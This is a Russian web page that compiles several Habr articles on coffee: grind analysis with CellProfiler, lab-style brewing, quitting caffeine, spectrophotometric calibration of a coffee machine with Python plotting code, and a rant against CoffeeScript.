Результаты ежегодного исследования StackOverflow — про технологии, зарплаты, счастье и кофе. Кофе хабр


как мы молотый кофе считали софтом для анализа клеточных структур / Хабрахабр

Другие статьи цикла:Здравствуйте, я Meklon и я кофеин-зависимыйКомпот из кофейных сухофруктов. Знакомимся с каскарой — лучшим другом велосипедиста

Продолжаю кофейную тематику, которую я начал еще на geektimes: Здравствуйте, я Meklon и я кофеин-зависимый. Сегодня мы будем творить непотребства с софтом для биоинженерных задач — CellProfiler. Нормальные люди им считают клетки, плазмиды, экспрессию белка и прочие нужные вещи. Мы долбанутые, поэтому будем проводить гранулометрический анализ помола по микрофотографии, бить кофе статическим электричеством и думать, как прицепить к этому безобразию фен. Ну и конечно нам потребуется скотч для получения графена картины распределения частиц.

В целом, компьютерный анализ изображения — штука гибкая и может применяться в совершенно странных задачах. Заодно проверим, можно ли заменить турку колбой с магнитной мешалкой. В конце концов, главный принцип выживания в лаборатории — «Нет кофе — нет работы») Под катом очень много фотографий, но я постарался их ужать до приличных размеров.

Графен и кофе

Основная задача, которую я хотел решить — объективное сравнение качества помола разных кофемолок. По идее, качественный помол отличается идеальной равномерностью. Значит нам нужно посчитать количество частиц на заданной площади и отсортировать их по размерам. Чем больше будет дисперсия — тем хуже качество. Самый простой пример — роторная кофемолка, которая разбивает зерна быстро вращающимися лезвиями. В ее профиле помола одновременно присутствуют и крупные фракции и мелкая пыль. Хорошего эспрессо из такого кофе уже не получится. Проблема связана с неравномерностью пробивания «водяных каналов», через которые проливается кофейная таблетка. Мелкие частицы будут давать горечь из-за переэкстракции, а крупные создадут «обходные пути», что сделает кофе водянистым. В отличие от роторной, кофемолка жернового типа дает более или менее калиброванный вариант с одинаковыми частицами. Собственно, теперь задача состоит из двух основных пунктов:

  1. Расположить в нормальном распределении частицы на прозрачной подложке, чтобы их можно было сфотографировать микроскопом
  2. Посчитать размеры и количество частиц вручную за пару лет автоматизированным комплексом
  3. Подвести итоги, сделать чашку хорошего эспрессо и тщательно себя похвалить за сообразительность
Когда мы подняли этот вопрос в прошлой теме, sptor и mwizard предложили использовать вибрацию в различных вариантах. Но у этого метода, как и у многих других, есть очень важный недостаток — неравномерность воздействия вибрации на частицы разного размера. Нам надо получить слепок реального усредненного состава, а не создать сортировочный лоток золотодобытчика в миниатюре. Наиболее удачная идея пришла в голову eexo — использовать обычный скотч. Чем именно метод хорош? Дешево, сердито. Просто на первый взгляд. И самое главное — касаясь скотчем молотого кофе вы получаете полный набор частиц в реалистичном распределении. Естественно, что без граблей, электротравм и злодейского смеха во время эксперимента здесь не обошлось…

Результат чуть поближе
Фен против электрофорной машины

Одна из основных проблем, с которой я столкнулся — склонность мелких кофейных пылинок слипаться, что в итоге приводит к неверному определению границ и размеров объектов. Логика подсказала, что проблема может быть решена электризацией частиц кофе одноименным зарядом. Осталось только понять как это проще сделать. Генератора Ван де Граафа под рукой не было. Решил просто потрясти пакет с молотым кофе. Так как пакет оказался слегка дырявым, пришлось долго подметать и вытирать кофейную пудру по всей лаборатории. Да и электризации особо не получилось.

Альтернативный вариант мне представился на одной из вузовских выставок, куда свозят автобусами несчастных школьников и заставляют вдохновляться экспозициями учебных заведений. Я развлекался с симулятором эндоскопических операций, удаляя на скорость желчный пузырь, но после третьего круга это начинало надоедать. Посидеть спокойно в интернете мне не дали. Каждые 15-20 минут вся беспроводная связь наглухо падала. Когда я решил пройтись по соседним стендам — я увидел тех странных людей, которые из кучи рассыпухи, километров медной проволоки и чьей-то матери собрали катушку Тесла и пару сопутствующих приборов. Именно эта вундервафля гадила во всех частотах при включении и роняла всю связь.

Я пытался снять этого уставшего человека, который в очередной раз показывал детям светящиеся газораздрядные трубки, но телефон начинал дико сходить с ума рядом с установкой, выбрасывая аппаратную ошибку камеры, а потом наглухо зависая. Планшет вроде выдержал, но файл слегка побило. Tesla Coil, штука конечно крутая, но проблему мою не решает. Зато на том же столе у них обнаружилась электрофорная машина с лейденскими банками. Именно такой машиной я пользовался еще в школе, чтобы зарядившись как следует бить током одноклассников в коридоре. Учительница физики страшно ругалась и кричала, чтобы я немедленно заземлялся на батарею. В общем, погрузил я один из электродов в кофе и начал вращать рукоятку. Судя по тому, что волосы начали тихо потрескивать — потенциал был набран ощутимый. Но сволочной порошок упорно не желал распушаться. Тут я сделал большую ошибку, решив добавить еще статики. Лейденские банки, которые они использовали были какими-то особо злыми. И очень-очень емкими. Красивая вспышка между моими руками оказалась крайне болезненной. Видимо, народ тщательно доработал конструкцию.

В итоге, от электрофорной машины я тоже отказался и решил сделать снимки как есть. Уже после того, как я отфотграфировал образцы, мне пришла в голову альтернативная идея, но времени на ее реализацию уже не было. Будет настроение — попробуйте. Смысл в том, чтобы одновременно использовать очень горячий воздух, трение и конвекцию. То есть тупо фен и трубу. Насыпаем чайную ложку кофе в трубу, влючаем фен, дожидаемся электризации и опускаем скотч на жестком каркасе внутрь, чтобы он насобирал частичек. Схема ниже:

Микроскоп и CellProfiler

Получив свою порцию задумчивых взглядов со стороны коллег, торжественно идем к микроскопу, размахивая кусками скотча. Как оказалось, частицы кофе имеют интересную полупрозрачную структуру на большом увеличении:

Еще фотография К сожалению, наш микроскоп не поддерживает z-stacking, и в EXIF не пишет достаточно данных, чтобы это сделать в стороннем софте. Поэтому глубина резкости небольшая и собрать из серии четкую картинку не получится.

В принципе, для наших целей нам нет необходимости в идеальной четкости. Поэтому берем объектив 4х и фотографируем наш будущий эспрессо:

Образец от обжарщика, смолотый Mahlkoenig EKK43

Образец из моей домашней кофемолки, смолотый DeLonghi KG89

К сожалению, у нас что-то отвалилось во встроенной в микроскоп фотокамере и она начала дико шуметь. Я предположил, что сдох элемент Пелетье на матрице, но нормально остудить ее хладагентом не получилось. Поэтому второй кадр выглядит весьма побито из-за постфильтрации.

Теперь отдаем изображения на вход специализированого свободного ПО CellProfiler. Переписан на Python, когда-то был надстройкой над MatLAB. Разрабатывается небольшой командой The Broad Institute of MIT and Harvard. Интерфейс совершенно негуманоидный, но позволяет исследователям вроде меня выполнять сложные пакетные обработки и статистический анализ изображений, не имея глубоких знаний в программировании. Все организовано в виде конвейера, когда на вход подается исходное изображение, потом над ним производятся необходимые манипуляции, распознаются, подсчитываются и измеряются нужные объекты, после чего цикл повторяется снова на всем массиве файлов. В результате, тратится определенное время на написание pipeline, зато потом можно скармливать хоть 100 000 изображений и идти пить чай. Процесс распараллеливается соответственно количеству потоков процессора.

Интерфейс программы

Коротко опишу этапы:

  1. Преобразование трех каналов 8-битного sRGB в один, монохромный
  2. Инверсия изображения. Это историческая особенность — программа заточена под распознавание светлых объектов на темном фоне
  3. Пороговая фильтрация для отсечения фона. Использовался глобальный порог, выбранный вручную
  4. Идентификация объектов и их границ. Для сепарации объектов от фона использовался алгоритм Otsu
  5. Измерение параметров объектов — площадь, эксцентриситет, диаметр и прочее
  6. Классификация объектов на 3 условные группы по параметру «площадь»
  7. Сохранение выбранных результатов таблицу и сохранение отдельных промежуточных изображений

Вот как выглядит идентификация объектов. Распознавание в нашем варианте далеко от идеала, так как не получилось разделить слипшиеся частицы. Согласно настройкам, алгоритм после отделения фона пытается найти объекты округлой формы.

Распознанные объекты, крупно. Видны дефекты определения границ

После сортировки на мелкие, средние и крупные частицы мы получили следующее распределение для профессиональной и домашней кофемолки, соответственно:

Интерпретировать результаты я не буду, так как изначально образцы не соответствовали требованиям к разделению частиц. Если кому-то интересно повторить, я выложил pipeline для Cellprofiler на Dropbox. Вы можете проверить его самостоятельно. Визуально, помол на профессиональной машине более равномерный, но точнее сказать сложно. Очень высокие требования к образцам для нормальной статистики.

Другие варианты применения
CellProfiler'у глубоко пофиг, что именно рассчитывать. Я вполне успешно пилил пайплайны для анализа каких-то нанокристаллов. Ради интереса даже попробовал посмотреть, как он справится с определением объектов в астрофотографиях. В примере ниже я просто скормил софту фото звездного неба в высоком разрешении и свел все каналы в один монохромный. Теоретически, играясь с фильтрами и порогами интенсивности, можно отделить звезды различных спектральных классов друг от друга. Особенно, если исходники не 8-битные. Программа нативно поддерживает работу с изображениями широкого динамического диапазона.

Исходник, немного пожатый Habrastorage:

А вот честно определенные 34767 звезд с некоторой долей погрешности.

При дальнейшем анализе можно анализировать коэффициент соседства, использовать маски, сортировать по признакам площади, цвета или еще чего-то.

Как сварить кофе в лаборатории
Хорошо подумав с Дианой, мы решили, что пропадать нашему любимому сорту Гватемала Платанийо Ежипто просто так не стоит. Я его дико люблю за насыщенность и полноту в эспрессо, с дразнящими нотами зрелого какао и легкой кислинкой. Один из самых ярких сортов средней степени обжарки, на мой взгляд. Тем более, когда он обжарен несколько дней назад. Но раз уж мы начали тестирование образцов, то решили попробовать альтернативный подход к приготовлению кофе. Будем варить его на прецизионном лабораторном нагревателе с магнитной мешалкой. Главное не получить потом по голове от руководителя лаборатории.

В этом мне поможет Диана in_green_shoes. Она вообще-то лингвист-переводчик, но иногда, когда ее никто не видит, она надевает халат и делает умный вид, играя в ученого.

Вначале набираем деионизированной воды из Milli-Q. По сопротивлению — глухой изолятор с сопротивлением 18.2 MΩ·cm Вода такой чистоты используется для аналитической химии, молекулярной биологии и теперь для варки кофе.

Диана с умным видом разглядывает колбу с водой Теперь надо внимательно осмотреть образец. И подружиться с ним. Ведь это друг-кофейный порошок. Этот сорт ее особенно радует, да.

Точно взвешиваем нужное количество кофе. Точно взвешиваем. Четыре знака после запятой будет достаточно, я думаю. Мы же в лаборатории все-таки.

Высыпаем кофе в колбу и бросаем туда неодимовый магнит в керамической оболочке. В процессе варки он будет вращаться со скоростью около 1000 оборотов в минуту, обеспечивая максимальную экстракцию.

А вот и сам нагреватель. По идее, надо еще и датчик обратной связи в кофе окунуть, но его до этого использовали с чем-то токсичным, а терпеливо ожидать, не отвалится ли чего не хочется. Поэтому решили обойтись вариантом попроще. Просто выставляем 320 градусов для первичного нагрева и снижаем температуру до 97 перед самым закипанием. Магнитная мешалка вращается как ненормальная, обеспечивая непрерывное перемешивание.

Поднятие пены ловим точно так же, как и с классической туркой:

В итоге получаем ожоги из-за того, что забыли о нагревании горла колбы от горячего пара. При следующей попытке используем толстые перчатки и аккуратно разливаем результат по чашкам. Кофе получился ароматным, но очень уж высокоэкстрагированным. Глаза резко открываются и начинаешь бегать как кофеиновая белка. Метод на самом деле из разряда just for fun, но почему бы и не попробовать? Ну и в качестве бонуса я добавлю еще фотографий из этого фотосета)

Мне кажется, кофе на нее как-то странно влияет

P.S. Я все-таки сумел связаться с ребятами из Торрефакто, обещали выкроить время, чтобы ответить на вопросы. У них на самом деле много разной высокотехнологической фигни. Один только фотоколориметр для точного определения цвета зерна чего стоит. Это, например, важный момент при объективной оценке степени обжарки. Если будет интересно — я попробую найти время для того, чтобы рассказать об этих вещах.

habrahabr.ru

Я отказался от кофе, и вот что произошло / Блог компании SmartProgress / Хабрахабр

Кофе был моей страстью и, в тоже время, бедой. Я превозносил бодрящий напиток, любил связанную с ним рутину, но игнорировал очевидный факт — ежедневное потребление кофе сильно вмешивается в уровень моей энергии, что сказывается на работе, физических показателях и общем самочувствии. Я откладывал этот эксперимент больше года, а несколько недель назад решился и не пожалел.

Цель эксперимента

Как действует кофеин: кофеин блокирует рецепторы аденозина в головном мозге, не позволяя этому веществу с ним связываться. То есть, кофеин не дает мозгу понять, что тот устал.

В книге “The Everything Store: Джефф Безос и эра Amazon” автор писал, что еще во времена, когда компания развивалась в гараже, один из менеджеров запретил сотрудникам пить кофе. Он считал, что энергию для работы нужно брать из углеводов, а не кофеина. И был прав.

Регулярное употребление кофе снижает его воздействие и вынуждает нас повышать дозу. В итоге, мы получаем плохое качество сна, после чего, проснувшись, сразу наливаем бодрящий напиток и вгоняем себя в замкнутый круг.

Помимо этого, кофеин скрывает оптимальное количество питательных элементов, необходимых для продуктивной жизни. Для меня это важно, так как я тренируюсь с железом 5 дней в неделю и недостаток энергии сильно сказывается на самочувствии. Кофеин не дает мозгу понять, что тот устал и вследствие этого я не могу определить, что голоден. В итоге, к концу дня, когда действие кофеина прекращается, я чувствую упадок энергии и единственное, что хочу — это спать.

Кофе как привычка

Во время эксперимента мне пришлось исключить приятную рутину попивания кофе в торговом центре, в офисе, на улице и, в общем-то, везде. Превращая кофе в привычку, мы поступаем неразумно, так как кофеин — мощный источник энергии, который нужно использовать стратегически.

На данный момент я не пью кофе несколько недель, но если мне потребуется сделать большой объем работы, я использую этот ресурс. Сейчас мой энергетический уровень в хорошем состоянии и нужды в кофе я не нахожу. Сплю я 6-7 часов.

Кофе повлияло на сон

Отсутствие кофе положительно сказалось на качестве сна. Засыпал я всегда быстро, но теперь и просыпаться мне стало проще. Если раньше в этом мне помогала мотивация сделать что-то значимое, то последние недели я периодически просыпаюсь за несколько минут до будильника с хорошим настроением.

Уровень энергии изменился

На время исключив кофе, я смог измерить свой истинный уровень энергии. Раньше это было сложно сделать, так как кофеин искусственно повышал его, после чего следовал спад. Сейчас же я могу определить сколько мне нужно спать/есть, чтобы чувствовать себя хорошо и работать продуктивно.

Я понял, сколько нужно есть

На протяжении многих месяцев, я чувствовал недостаток энергии. Я пытался справиться с этим с помощью кофе, но лишь отказавшись от него понял, что я просто ел недостаточное количество углеводов (круп, фруктов). При интенсивных тренировках организму требуется в разы больше энергии. Отказ от кофе помог мне определить сколько именно. Теперь если чувствую упадок энергии, я просто делаю перекус, а не наливаю очередную чашку кофе.

Выводы

  • Не делайте из кофе привычку. Кофе — мощный ресурс и его нужно использовать стратегически. Пользуйтесь им перед сильной умственной или физической нагрузкой несколько раз в неделю/месяц.
  • Отказ от кофе повышает качество сна. Это сказывается на восстановлении и продуктивности в работе.
  • Исключив кофе, я определил необходимое количество питательных элементов. Ориентируясь на самочувствие, я добавлял углеводы, жиры и, таким образом, определил количество, которое помогает мне тренироваться и работать эффективно.
  • Если вы чувствуете сонливость, то скорее всего вы мало спите или едите. Или забываете делать перерывы во время работы. Важность последнего пункта я ощутил в полной мере на этой неделе.

Заключение

Не нужно отказываться от кофе, если вы чувствуете себя полным сил. В моем случае этот эксперимент был необходим. С другой стороны, подобные вызовы помогают узнать об организме и жизни что-то новое.

Это не первый мой эксперимент. Летом 2016-го я просыпался в 5:30, проводил две тренировки в день, работал по 10 часов в сутки и многое о своем организме узнал. Помимо этого я серьезно продвинулся в профессиональном плане.

Такие эксперименты очень полезны. Они вырывают нас из комфортной жизни. Это как холодный душ по утрам, который с недавнего времени я полюбил. Мы порой так зависимы от своих привычек, что боимся шагнуть дальше. Даже если дальше нас ожидает что-то невероятное.

Автор: Илья Сидоренко Читайте больше наших статей в нашем блоге: SmartTalks

habrahabr.ru

Как мы упоролись и откалибровали кофе-машину на спектрофотометре / Хабрахабр

Однажды, посреди рабочего дня мы внезапно осознали, что мы больше не можем так жить. Душа требовала совершить что-то бессмысленное и беспощадное во имя науки. И мы решили откалибровать кофе-машину. Нормальные люди тыкают в дефолтную кнопку и пьют все, что вытечет из кофеварки. Чуть более продвинутые для этого открывают инструкцию и тщательно ей следуют. Может быть еще читают рекомендации обжарщика, если конечно это не прогорклые noname зерна, которые пару лет лежали на безымянном складе. Нас к нормальным можно отнести с большой натяжкой, поэтому мы решили идти своим путем. Короче говоря, под легкой кофеиновой интоксикацией от седьмой чашки эспрессо мы решили задействовать весь возможный арсенал лаборатории, чтобы получить эталонный напиток.

Добро пожаловать в мир безумия, ультрацентрифуг, спектрофотометрии кофе в специальных планшетах и небольшого количества python, pandas и seaborn, чтобы визуализировать все это безобразие.

Правильная экстракция

Для начала, надо понять, что мы хотим получить. Основной смысл правильной настройки кофеварки в том, чтобы получить сбалансированный профиль экстракции. При этом не меньше половины успеха зависит от правильного зерна, которое было обжарено с соблюдением всех деталей термопрофиля. У хреновых обжарщиков зерна могут быть неравномерной обжарки или с другими дефектами. Но даже идеальный кофе можно превратить в жуткое пойло, если неправильно его приготовить.

Оптимальная температура для классического способа приготовления кофе — 90-95°С. При этом количество зерен должно быть примерно 10-20 г/ 100 мл воды. Также надо учитывать, что процесс экстракции идет неравномерно, от более легких и летучих к менее растворимым компонентам. Вся беда заключается в том, что при выходе за оптимальные значения температуры воды, степени компрессии кофейной таблетки (для эспрессо), степени помола, соотношения кофе к воде или времени мы можем не успеть «вытащить» из зерна все, что нам нужно. Или наоборот захватить чрезмерное количество тяжелых фракций, испортив вкус и баланс напитка. В частности, при гипер-экстракции в чашку попадает избыточное количество хлорогеновых кислот, которые заставляют кофе чрезмерно горчить и сдвигают баланс вкуса в кислую сторону. При недостаточной экстракции будет что-то водянистое и печальное на вкус.

Хининовая и гидроксикоричные кислоты, структурная основа хлорогеновых кислот

Подготовка эксперимента

В автоматической кофе-машине нам доступны для регулировки только два параметра: помол и компрессия. Степень помола определяется механическим вращением регулятора, который устанавливает зазор между жерновами. Компрессия свежесмолотой кофейной таблетки предустановлена и имеет 5 условных уровней сжатия. Наша задача состоит в подборе оптимальных параметров, при которых концентрация и баланс растворенных веществ будут давать идеальный вкус.

Сам кофе для тестирования нам прислали для бесчеловечных экспериментов из Торрефакто, за что им огромное спасибо. Две основные категории: B и C (темная и светлая обжарка в их классификации).

Гондурас Сан-Маркос (источник)

Темная обжарка. Мы как-то уже перешли на среднюю, но для сравнения этот сорт очень достойный вариант. Особенно хорош с молоком, но для наших задач мы будем готовить из него эспрессо. Вкус довольно простой, без тонких нюансов, но очень насыщенный.

Бразилия Ипанема Дульче (источник)

Просто офигительный ароматный сорт, с очень сбалансированным вкусом и сладкой фруктовой кислинкой. Само зерно содержит большое количество углеводов, что и придает легкую сладость.

Для каждого сорта и каждого из пяти уровней сжатия кофейной таблетки выбирается по 8 чашек образцов. Заодно сотрудники лаборатории плюются или радуются полученному результату. Вслепую, естественно. Выбирают оптимальные по вкусу образцы, чтобы потом сравнить с объективными показателями аппаратного исследования.

Глубокая заморозка

Нам себя стало жалко и мы не стали пить 80 чашек кофе за один день. Поэтому образцы маркировались и забрасывались в морозилку. Милая такая морозильная камера, с температурой около -90 градусов. Жрет 4 киловатта, но в итоге внутри даже углекислый газ выпадает в виде снежка на стенках. Идеальный вариант.

Когда все образцы готовы, достаем их из морозильной камеры и кладем в орбитальный шейкер. Да, мне тоже нравится, как это звучит. Почти как орбитальный планетарный лазер, но это просто шейкер. Ждем полной разморозки образцов и заодно все хорошо перемешиваем.

Разливаем по пробиркам и центрифугируем

Для начала надо очень глубокомысленно осмотреть образцы. Без этого чуда не произойдет)

Из больших пробирок забираем микропипеткой кофе и разливаем по маленьким пробиркам для центрифугирования. Каждую пробирку маркируем номером и вносим в отдельный журнал, чтобы потом не перепутать образцы.

Пробирки расставляем в центрифуге строго симметрично для соблюдения баланса. На больших скоростях вращения это критично. После центрифугирования мы получим чистый водный раствор того, что экстрагировалось из кофе, а все микрочастицы, прошедшие через фильтр кофемашины останутся в виде осадка.

Спектрофотометрия

Снова берем микропипетку и разливаем точные дозы образцов по отдельным лункам специального 48-луночного планшета.

В результате образцы красиво распределяются по оттенкам. Сверху вниз идет увеличение степени сжатия и полноты экстракции.

Я у мамы оператор

Планшеты загружаются в спектрофотометр FilterMax от Molecular Devices. Там целая куча режимов исследования образца, различные варианты фильтров, лазерных источников излучения и тому подобного. Мы долго думали, что бы такого странного имело смысл измерить на кофе и решили, что измерять ту же флюоресценцию в ультрафиолете довольно бессмысленно. Решили оценить степень поглощения лазерного излучения на длине волны 450 нм. Эта длина волны синего лазера. В принципе, вполне логично. Насыщенный раствор кофе имеет красноватый оттенок и должен хорошо поглощать синюю часть спектра.

В результате мы получили таблицы поглощения для всех наших образцов. Однако было бы неплохо все это наглядно визуализировать. Так как я чаще всего в работе использую python и pandas с seaborn, то и данные мы сохраним в наиболее удобном для загрузки в pandas виде.

Степень поглощения в процентах в csv формате.

Roast,Compression,Absorbance medium,level 1,21.31 medium,level 1,20.57 medium,level 1,24.49 medium,level 1,26.95 medium,level 1,20.49 medium,level 1,20.06 medium,level 1,21.22 medium,level 1,23.32 medium,level 2,28.09 medium,level 2,28.27 medium,level 2,23.13 medium,level 2,25.72 medium,level 2,26.75 medium,level 2,26.05 medium,level 2,26.92 medium,level 2,25.92 medium,level 3,32.88 medium,level 3,32.23 medium,level 3,33.13 medium,level 3,28.72 medium,level 3,28.82 medium,level 3,31.49 medium,level 3,32.31 medium,level 3,33.81 medium,level 4,38.68 medium,level 4,40.54 medium,level 4,39.34 medium,level 4,43.3 medium,level 4,41.48 medium,level 4,42.26 medium,level 4,42.73 medium,level 4,42.35 medium,level 5,57.62 medium,level 5,70.62 medium,level 5,70.74 medium,level 5,57.94 medium,level 5,77.62 medium,level 5,76.64 medium,level 5,69.12 medium,level 5,66.39 dark,level 1,27.54 dark,level 1,26.8 dark,level 1,30.72 dark,level 1,33.18 dark,level 1,26.72 dark,level 1,26.29 dark,level 1,27.45 dark,level 1,29.55 dark,level 2,34.32 dark,level 2,34.5 dark,level 2,29.36 dark,level 2,31.95 dark,level 2,32.98 dark,level 2,32.28 dark,level 2,33.15 dark,level 2,32.15 dark,level 3,39.11 dark,level 3,38.46 dark,level 3,39.36 dark,level 3,34.95 dark,level 3,35.05 dark,level 3,37.72 dark,level 3,38.54 dark,level 3,40.04 dark,level 4,44.91 dark,level 4,46.77 dark,level 4,45.57 dark,level 4,49.53 dark,level 4,47.71 dark,level 4,48.49 dark,level 4,48.96 dark,level 4,48.58 dark,level 5,63.85 dark,level 5,76.85 dark,level 5,76.97 dark,level 5,64.17 dark,level 5,83.85 dark,level 5,82.87 dark,level 5,75.35 dark,level 5,72.62

Рисуем графики с python, pandas и seaborn

Для построения графика вначале импортируем наш csv в виде pandas dataframe. После этого с помощью замечательной библиотеки seaborn и функции barplot построим график, сгруппированный по степени обжарки. Для большей контрастности используем палитру «Paired», она очень хороша при сравнении разных групп. Кстати, как вы помните, мы ранжировали образцы по вкусовым качествам. Дегустаторы кофе из нас так себе, но на удивление консенсус был достигнут. Оптимальный вкус у напитка был в том случае, когда степень поглощения на длине 450 нм была в районе 32%. Отрисуем соответствующую линию на графике с помощью plt.axhline.

Код на pythonimport matplotlib.pyplot as plt import pandas as pd import seaborn as sns df = pd.read_csv("data.csv") sns.set() sns.set_style("whitegrid") sns.set_context("talk") ax = sns.barplot(x="Compression", y="Absorbance", hue="Roast", data=df, palette="Paired") ax.set(ylim=(0, 100), xlabel='Compression level', ylabel='Absorbance at 450 nm, %') plt.axhline(32, alpha=0.4, color='black', linestyle='dashed', label='Optimal concentration') plt.legend(loc='upper left') plt.savefig("plot.png", dpi=300) plt.show() На графике четко видно, что оптимальная степень сжатия для кофе темной обжарки вторая, а для средней — третья. Помимо этого восхитительного вывода из нашего эксперимента мы видим, что при максимальном сжатии увеличивается разброс в концентрации растворенных веществ между отдельными чашками эспрессо. То ли машина не обеспечивает повторяемость, то ли при такой компрессии начинают значительно влиять такие факторы как длина случайно пробитого канала в кофейной таблетке, по которому протекает горячая вода.

Чтобы сделать окончательно красиво, построим график отклонения нашего параметра от оптимума. Для этого из колонки Absorbance в нашем dataframe вычтем 32 (наш оптимум).

# Subtract optimal value df['Absorbance'] = df['Absorbance'] - 32 Код на pythonimport matplotlib.pyplot as plt import pandas as pd import seaborn as sns df = pd.read_csv("data.csv") # Subtract optimal value df['Absorbance'] = df['Absorbance'] - 32 sns.set() sns.set_style("whitegrid") sns.set_context("talk") ax = sns.barplot(x="Compression", y="Absorbance", hue="Roast", data=df, palette="Paired") ax.set(xlabel='Compression level', ylabel='Deviation from optimal concentration') plt.legend(loc='upper left') plt.savefig("plot_diverging.png", dpi=300) plt.show() Как-то так, бессмысленно и беспощадно, можно получить чашку идеального эспрессо).

P.S. Если смогу найти время, то будет еще пост про скоростную ультразвуковую экстракцию ледяного кофе. Образцы есть, будем творить странное дальше.

habrahabr.ru

Нам не нужен ваш кофе / Хабрахабр

Это открытое письмо CoffeeScript-сообществу. Вы можете присоединиться к дискуссии на Hacker News.

Эта тирада, возможно, также справедлива для TypeScript и ему подобных. Чёрт, да даже для asm.js. Я знаю, что asm.js впечатляет в теории, но вы сами пытались пройтись по написанному на нём коду? Это мусор, и вам явно не придётся писать такое в ваших обычных каждодневных исходниках. Теперь не поймите меня неправильно, меня полностью устраивает то, что вы потягиваете свой модный кофе сами. Проблемы начинаются тогда, когда вы брызгаете этим кофе на всё, чем занимаетесь, или пытаетесь напоить им всех вокруг. Ваш кофе становится заразной болезнью, и вам нужно остановить её распространение. Такие языки, как CoffeeScript, представляет собой проблему сообщества в целом не потому, что язык плох по своей природе, а потому, что вы считаете, что все остальные понимают эту ахинею.

Что? Это не ахинея, это прекрасно! Это JavaScript.Специальный выпуск новостей: это не JavaScript, он просто компилируется в него. Перестаньте пытаться поработить людей на StackOverflow, отвечая на их JavaScript-вопросы кодом на CoffeeScript. Перестаньте пытаться получить помощь по JavaScript, выкладывая код на Coffee, который мы не понимаем.

Проблема не в самом языке. Хоть мне и не нравится язык сам по себе, я поддерживаю разнообразие, как, впрочем, и все остальные. Проблема в таких как вы, те, кто постит что-либо в сеть так, будто все вокруг знают, как работает CoffeeScript. Конечно, он компилируется в JavaScript. Мы поняли. Но мы не собираемся изучать ваш чудной язык.

(прим. пер.) Далее автор цитирует отрывок из фильма «Телесеть» (Network, 1976), перевод отрывка приведён далее под спойлером.Мне не нужно говорить вам, что всё плохо, все и так знают, что всё плохо. Будто всё на свете сходит с ума, и поэтому мы больше не выходим на улицы. Мы сидим дома, а мир, в котором мы живём, постепенно сжимается, и всё, что мы говорим, это «пожалуйста, оставьте нас в покое хотя бы в наших гостиных».

Итак, я хочу, чтобы вы сейчас встали.

http://www.youtube.com/watch?v=5o2YUDzXHNM

Перевод отрывкаМне не нужно говорить вам, что всё плохо, все и так знают, что всё плохо. Это депрессия. Люди остаются без работы либо боятся её потерять. Доллар идёт по цене пятицентовой монеты, банки закрываются. Продавцы держат стволы за прилавками. Шпана бесчинствует на улицах. Никто нигде не знает, что делать, и этому нет конца. Мы знаем, что воздух стал непригоден для дыхания, а еда — для питания. Мы сидим и смотрим телевизор, в то время как какой-нибудь репортёр рассказывает нам, что произошло 15 убийств и 63 тяжких преступления, как будто так и положено! Мы знаем, что всё плохо. Даже хуже, чем плохо. Они сошли с ума. Всё на свете сходит с ума, и поэтому мы больше не выходим на улицы. Мы сидим дома, а мир, в котором мы живём, постепенно сжимается, и всё, что мы говорим, это:

Пожалуйста, оставьте нас в покое хотя бы в наших гостиных. Оставьте мне мой тостер, мой телевизор и антенну. Я ничего не скажу, просто оставьте нас в покое.

А я не оставлю вас в покое. Я хочу, чтобы вы вышли из себя! Я не хочу, чтобы вы протестовали или бунтовали. Не пишите вашему конгрессмену. Я не знаю, что вам ему написать. Я не знаю, что делать с депрессией, с инфляцией, с русскими, с преступностью на улицах. Всё, что я знаю, это то, что вам нужно рассердиться! Вам нужно сказать: «Я человек, чёрт побери! Моя жизнь имеет ценность!»

Итак, я хочу, чтобы вы сейчас встали. Я хочу, чтобы вы все встали со своих стульев и кресел. Я хочу, чтобы вы встали и подошли к окну, открыли его, высунули в него свою голову и прокричали: «Я зол как чёрт, и я не буду больше это терпеть!».

Вы знали, что некоторые компании на самом деле отворачиваются от Coffee просто потому, что люди по сути не знают языка? Проблема, с которой столкнулись Discourse, состояла в том, что они не получали ожидаемой отдачи от разработчиков просто потому, что их JavaScript был обфусцирован Coffee. Этой причины было достаточно для того, чтобы щёлкнуть выключателем и больше не притрагиваться к CoffeeScript. Проблема ясна: люди, знающие Coffee, должны знать JavaScript, если хотят писать хороший код. В обратную сторону это утверждение уже не так правдиво, у остальной части Вселенной нет причин изучать Coffee, и те из нас, кто не купился на его ощутимые преимущества, остались за бортом.

Я даже не вдаюсь в дебаты «кто лучше?». Мне не очень нравится синтаксис, и опять же, мне всё равно, что кому-то он нравится. Более того, кое-кто пишет довольно длинные статьи на эту тему. Кроме того, первым непроцедурным языком, с которым я познакомился, был Visual Basic, у которого был такой же «человекопонятный» синтаксис, который мы видим в CoffeeScript, чьи перлы вроде one isnt two напоминают мне о временах, когда я тоже отказывался от качества кода в пользу того, чтобы слепо передавать компилятору On Error Resume Next, непонятную конструкцию в VB, которая вела себя, как если бы каждая строка была обёрнута в блок try…catch. Ах, эта радость слепой и наивной отладки.

Проблема с «детским» синтаксисом состоит в том, что он слишком много скрывает, делая код практически недоступным для понимая таких парней как я, не сидящих на кофеине. Не этого мы хотим. Это проблема всех языков, которые компилируются в «веб-языки» (HTML, JS, CSS).Jade, например, выдаёт чистый HTML, который просто использует CSS-селекторы, с помощью синтаксиса, близкого к тому, что мы знаем как Zen Coding. Сравнивая Jade с чрезвычайно многословной природой HTML (или XML), преимущества становятся видны невооружённым глазом.

Вот немного Jade:

ul#crocodile-items li(ng-repeat='foo in bar') div {{name}} div.details div span Description span {{desc}} div span Price span {{price}} Набор «руками» такого HTML занял у меня немного больше времени:<ul> <li ng-repeat="foo in bar"> <div>{{name}}</div> <div> <div> <span>Description</span> <span>{{desc}}</span> </div> <div> <span>Price</span> <span>{{price}}</span> </div> </div> </li> </ul> Преимущества использования Jade начинают накапливаться, если принять во внимание такие вещи, как наследование, примеси, JavaScript, ну и тот факт, что вы больше не будете забывать закрывать теги.

